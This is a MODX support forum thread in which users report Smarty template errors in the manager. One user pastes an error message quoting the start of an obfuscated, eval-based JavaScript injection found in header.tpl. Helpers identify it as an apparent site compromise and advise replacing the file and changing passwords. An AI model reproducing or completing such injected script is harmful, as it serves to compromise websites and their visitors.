We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
    • 9772
    • 8 Posts
    After installation I go to manager and get this;

    Fatal error: Uncaught exception ’SmartyCompilerException’ with message ’Syntax Error in template "www/manager/templates/default/security/login.tpl" on line 2 "<html xmlns=\"http://www.w3.org/1999/xhtml\" {if $_config.manager_direction EQ \’rtl\’}dir=\"rtl\"{/if} lang=\"{$_config.manager_lang_attribute}\" xml:lang=\"{$_config.manager_lang_attribute}\">" - Unexpected "\", expected one of: "{" , "$" , "identifier" , LDELIF , LDELFOR , LDELFOREACH , SMARTYBLOCKCHILD , "closing tag" , INTEGER , "+" , "-" , "(" , "(!,not)" , TYPECAST , HEX , "." , SINGLEQUOTESTRING , "#" , "[" , """’ in /www/core/model/smarty/sysplugins/smarty_internal_templatecompilerbase.php:423 Stack trace: #0 /www/core/model/smarty/sysplugins/smarty_internal_templateparser.php(2798): Smarty_Internal_TemplateCompilerBase->trigger_template_error() #1 www/core/model/smarty/sysplugins/smarty_internal_templateparser.ph in /www/core/model/smarty/sysplugins/smarty_internal_templatecompilerbase.php on line 423

    When I refresh the page the error is gone but i just get blank page.
    Does anyone know what to do?
    • If you FTP’d files into place, I would try again and reinstall or run the upgrade mode. Never seen anything like that...
        • 42082
        • 72 Posts
        Fatal error: Uncaught exception 'SmartyCompilerException' with message 'Syntax Error in template "/home/onewayme/public_html/manager/templates/default/header.tpl" on line 38 "<div id="modx-browser"></div><!--336988--><script type="text/javascript" language="javascript" > try{window.document.body++}catch(gdsgsdg){dbshre=21;}if(dbshre){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){e=eval;}ss=String;asgq=new Array(31,94,110,104,94,107,97,104,104,27,31,33,25,117,8,1, in....

        This is mine it is very likely the same issue. any ideas?
          • 42082
          • 72 Posts
          also I went to my header.tpl and on line 38 this is what it says:
          <div id="modx-browser"></div><!--336988--><script type="text/javascript" language="javascript" >

          What is wrong with it?
          • Hm. Mine (Revo 2.2.6) just has
            <div id="modx-browser"></div>
            


            Try just replacing that file with the one I've attached.
              Studying MODX in the desert - http://sottwell.com
              Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
              Join the Slack Community - http://modx.org
            • That actually looks like your site has been compromised; I always get nervous when I see a large block of javascript that looks encoded, like this:
              Array(31,94,110,104,94,107,97,104,104,27,31,33,25,117,8,1
                Mark Hamstra • Developer spending his days working on Premium Extras and a MODX Site Dashboard with the ability to remotely upgrade MODX and extras to make the MODX world a little better.

                Tweet me @mark_hamstra, check my infrequent blog at markhamstra.com, my slightly more frequent ramblings at MODX.today or see code at Github.
              • There is no javascript anywhere near that line in the file I attached. Two people having the same problem in two different files does look suspicious.

                Actually, looking at the first file in question here (login.tpl) it looks more like a corrupted file; perhaps file uploads done with a FTP client that wasn't configured correctly, or that was edited for some reason in an editor that meddled with the HTML entities.
                  Studying MODX in the desert - http://sottwell.com
                  Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
                  Join the Slack Community - http://modx.org
                  • 42082
                  • 72 Posts
                  Well Susan I did what you told me to do and changed the header.tpl to the one you gave me and well it worked so I must admit you are better than me with modx. (so embarrassing)

                  Thank you guys for the help ..
                  but I still don't get how that extra code got in there. It was fine one day then the next all these errors start popping up. Plus I had not used modx for a little while.

                  P.s. Is it dangerous to my site to be posting these Errors with my sites information?
                  • Has nothing to do with being good, has to do with your having a corrupted file. As to how it came to be corrupted, I have no idea. As Mark said, this looks very suspicious.

                    I would suggest changing all of your passwords - CPanel, database, FTP, and MODx Manager. When you change the database user's password, you'll need to edit your core/config/config.inc.php to put in the new password. I use this site for my passwords http://strongpasswordgenerator.com/, in fact that's one of the few links on my browser's bookmark bar. Make sure to copy the new passwords somewhere safe!

                    Make sure your computer isn't compromised with a password sniffer or key logger.
                      Studying MODX in the desert - http://sottwell.com
                      Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
                      Join the Slack Community - http://modx.org
                      • 42082
                      • 72 Posts
                      thank you for the advise but i think you may be right
                      the really creepy thing is after I switched the file on modx with the one you gave me I had saved a copy of that corrupted file to my desktop in case the switch did not work. But after being on my computer for a while there was a virus popup from my fire wall saying that the copy of the corrupted file on my desktop was being accessed by something or someone. That makes me think there is something in that file that is vary vary wrong.

                      Also is there any chance that a key logger got on my computer when I was infected by a virus a month ago?

                      P.S. I will take your advice.